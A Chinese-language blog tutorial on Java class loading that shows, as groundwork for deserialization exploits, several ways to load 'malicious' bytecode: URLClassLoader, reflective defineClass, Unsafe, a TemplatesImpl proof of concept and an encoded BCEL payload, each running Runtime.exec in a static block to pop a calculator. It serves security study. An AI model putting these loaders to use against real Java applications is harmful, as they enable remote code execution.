Java基础篇-类加载机制

<1>Javac原理

javac是用于将源码文件.java编译成对应的字节码文件.class。
其步骤是:源码——>词法分析器组件(生成token流)——>语法分析器组件(语法树)——>语义分析器组件(注解语法树)——>代码生成器组件(字节码)

<2>类加载过程

先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行

public class test05 {
    public static void main(String[] args) {
        A a = new A();
        System.out.println(a.m);
        /*
        * 1. 加载到内存,会产生一个类对应Class对象
        * 2. 链接,链接结束后m=0
        * 3. 初始化
        *       <clinit>(){
        *           System.out.println("A类静态代码块初始化");
        *            m = 300;
        *            m = 100
        *        }
        *        所以 m=100
        */
    }
}
class A{
	{
        System.out.println("Empty block initial");
    }
    static {
        System.out.println("A类静态代码块初始化");
        m = 300;
    }
    static int m = 100;
    public A(){
        System.out.println("A类的无参构造初始化");
    }
输出:
    A类静态代码块初始化
	Empty block initial
	A类的无参构造初始化

首先调用的是 static{} 其次是 {} 然后是 无参构造 有参构造

其中, static {} 就是在“类初始化”的时候调⽤的,⽽ {} 中的代码会放在构造函数的 super() 后⾯,

但在当前构造函数内容的前⾯

<3> 动态加载字节码

(1)字节码的概念

严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中

而字节码的诞生是为了让 JVM 的流通性更强,可以看下面图理解一下

(2)类加载器的原理

从前面提到的代码块的加载顺序我们得知:在 loadClass() 方法被调用的时候,是不进行类的初始化的

双亲委派机制类加载访问流程:

ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()

load_class

ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader

loadClass() -> findClass(重写的方法) -> defineClass(从字节码加载类)

URLClassLoader 任意类加载:file/http/jar

ClassLoader.defineClass 字节码加载任意类

UnSafe.defineClass 字节码加载任意类 虽是public类,但不能直接生成 Spring里可以直接生成

下面演示:

(3)URLClassLoader类加载class文件 ★

URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的 Java 类加载器的工作流程。

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件

②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

URLClassLoader:输入一个URL,从URL内加载一个类出来

例一:

  1. 构造一个恶意类
package load_class;

import java.io.IOException;

public class URLClassLoader_evilHello {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

javac URLClassLoader_evilHello.java 生成.class文件
编译动态加载类

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoader_load_class {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

        // URLClassLoader:输入一个URL,从URL内加载一个类出来
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:D:\\Java-IDEA\\java_workspace\\zhujie\\src\\")});

        Class<?> c = urlClassLoader.loadClass("URLClassLoader_evilHello");
        c.newInstance();
        //c.getDeclaredConstructor().newInstance();
    }
}

java的类加载机制,可以让类初始化时,会执行static静态区里的代码,这里我们通过URLClassLoader类加载了URLClassLoader_evilHello.class 文件,加载了恶意类。赋值给 Class c,然后我们 c.newInstance();实例化,初始化会执行static静态区里的代码,弹出来了计算器。

例二:

再构造一个恶意 Test类:

import java.io.IOException;

public class Test {
    public Test() {
    }

    public static void rce(String var0) throws IOException {
        Runtime.getRuntime().exec(var0);
    }
}

利用URLClassLoader动态加载恶意类,再利用反射调用里面的rce方法

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class loadclass {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, MalformedURLException {
        // 从url指定的目录下加载.class文件
        /*
        *     使用默认委托父类加载器为指定的URL构造一个新的URLClassLoader。 在父类加载器中首次搜索后,
        * 将按照为类和资源指定的顺序搜索 URL。 任何以“/”结尾的 URL 都被假定为指向一个目录。 否则,该 URL
        * 被假定为引用一个 JAR 文件,该文件将根据需要下载和打开。
        * 因此您有两个选择:
        *       Refer to the directory that the .class file is in
        *       Put the .class file into a JAR and refer to that
        * */
        URL url = new URL("file:D:\\Java-IDEA\\java_workspace\\zhujie\\src\\");
        // 创建URLClassLoader加载本地.class文件
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
        //rce命令弹出计算器
        String cmd = "calc";
        // 通过URLClassLoader加载.class中的Test类
        Class aClass = urlClassLoader.loadClass("Test");
        // invoke调用Test类中的rce方法
        aClass.getMethod("rce", String.class).invoke(null, cmd);
    }
}

(4)defineClass方法加载字节码 ★

defineClass是一个protected类型,所以只能通过反射调用,字节码任意加载类

构造恶意类:Hello.java

import java.io.IOException;

public class Hello {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

javac Hello.java 生成.class字节文件

利用ClassLoader类的 defineClass方法 自定义读取Hello.class,构建恶意Hello类:

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class defineClass_loadclass {
    public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
        ClassLoader cl = ClassLoader.getSystemClassLoader();

        //通过类加载器的 Class对象 反射调用getDeclaredMethod()方法,获取类加载器Class对象里的  defineClass方法 自定义恶意类
        Method defineClassMethod =  ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\zhujie\\src\\load_class\\Hello.class"));


        Class c = (Class) defineClassMethod.invoke(cl,"Hello",code,0,code.length);
        /*实际上 方法.invoke激活,返回的类型是根据这个方法返回值决定的。又因为defineClass方法可以返回Class对象,
        * 因次这里可以通过强制类型转化 拿到一个从.class里得到的恶意Hello类   然后通过Class c = (Class)赋值给c
        * 大多数方法是void类型的,返回null  因此 方法.invoke默认会是object类型(测试 null好像是object)
        * */

        System.out.println(c);
        c.newInstance();

    }
}

弹出来了计算器

在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。在后面 CC3中将会学到

(5)Unsafe类 加载字节码

package load_class;

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class unsafe_defineclass {
    public static void main(String[] args) throws InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        Class<Unsafe> unsafeClass = Unsafe.class;
        Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
        Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\zhujie\\src\\load_class\\Hello.class"));
        Class calc = (Class) defineClassMethod.invoke(classUnsafe, "Hello", code, 0, code.length, classLoader, null);

        calc.newInstance();
    }
}

(6)TemplatesImpl 加载字节码 ★

TemplatesImpl类中
可以看到存在一个内部类 TransletClassLoader,这个类是继承 ClassLoader,并且重写了 defineClass 方法

简单来说,这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

调用链为:

/*
TemplatesImpl#getOutputProperties()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass()
*/

我们先构造一个恶意的 执行代码的类

因为链子里想走通,需要满足这个类需要继承 AbstractTranslet 所以需要重写 AbstractTranslet的方法

为什么需要继承,后面CC链里会详细分析

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class templatesImpl_evil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

poc如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplateRce {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\lenovo\\Desktop\\templatesImpl_evil.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        ((Field) field).set(obj, value);
    }
}

(7)BCEL ClassLoader 加载字节码

BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。

我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用:

  • Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java 文件生成字节码
  • Utility 用于将原生的字节码转换成BCEL格式的字节码:
package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;

public class BCELClassLoaderRCE {
    public static void main(String[] args) throws ClassNotFoundException, IOException {
        Class<?> cls = Class.forName("org.example.evil");
        JavaClass javaClass = Repository.lookupClass(cls);
        String code = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code);
    }
}

这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们修改一下 POC
注:这里ClassLoader包不要导入错了 应为 com.sun.org.apache.bcel.internal.util.ClassLoader

package org.example;

import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class BCELClassLoaderRCE {
    public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException {
        Class<?> cls = new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$AmQMo$da$40$Q$7d$L$Ecc$C$n$F$f2$d1$7c$d06$J$f4P$lz$E$f5R5R$U$t$a9BD$d5$e3$b2$dd$9aM$8d$8d$8c$a1$fc$a3$9e$b9$b4U$x5$f7$fc$a8$aa$b3$$$o$u$89$r$cf$ec$bc$f7$e6$cdx$7d$fb$f7$d7$l$A$af$d1$b0$60b$c3$c2$s$b6r$d8$d6$f9$a9$81$j$D$bb$W$b2$d83$b0o$a0$ce$90m$ab$40$c5o$Y$d2$8df$97$n$f36$fc$q$Z$8a$ae$K$e4$f9x$d0$93$d1$V$ef$f9$84$94$ddPp$bf$cb$p$a5$eb9$98$89$fbj$94p$91$e7$c8$v$l$M$7d$e9$c8$89$f2$5b$M$b9$b6$f0$e7$d6$8c$a4$V$f7$9aO$b8$a3B$e7$e4$e2$ddT$c8a$ac$c2$80d$85N$cc$c5$973$3eL$yiA$G$ab$T$8e$p$n$8f$95$kaj$bbW$ba$d7$86$85$bc$81g6$9e$e3$F$cd$a6u$84$8d$D$i2$ac$3f$e2$cd$b0$95$a0$3e$P$3c$e7r$i$c4j$m$X$a4$f6$3ab$u$dd$df$9b$a0$bb$a6$8b$de$b5$U1$c3$da$D$l$da$d1$93$f1$a2$a84$9a$ee$D$N$7d$5bFN$a5$608j$y$b1$9d8R$81$d7Znx$l$85B$8eF$d4$b0$b1$ac$bc$eaG$e1W$7d$v$adf$Xu$e4$e8o$ea$t$F$a6$_$82$a2M$95C$99Q$5ey$f9$Dl$96$d0$F$8a$d9$ff$mV$v$da$f3s$R$r$ca9$ac$z$9a$3f$p$9dp$b5$9fH$95$d3$df$91$f9$f0$N$85$d3$df$c8$7e$q7$e3f$96$90$sIWH$a8m$abtB$b2I$9eP$930$8b0$7b1$a6$40X$Z$ebT$3d$a1$d7$40$ca5P1$89$a8$s$9b$d5$fe$By$9aqE$9c$C$A$A");
        cls.newInstance();
        /*
        Class<?> cls = Class.forName("org.example.evil");
        JavaClass javaClass = Repository.lookupClass(cls);
        String code = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code);
        */
    }
}

那么为什么要在前面加上 $$BCEL$$ 呢

BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。

在 ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode

这么多种姿势,实际上都是为了去加载那个 .class文件 也就是字节码文件 从而利用。

参考:https://drun1baby.top/2022/06/03/Java反序列化基础篇-05-类的动态加载/#7-利用-BCEL-ClassLoader-加载字节码

posted @ 2023-06-06 20:17  1vxyz  阅读(235)  评论(0编辑  收藏  举报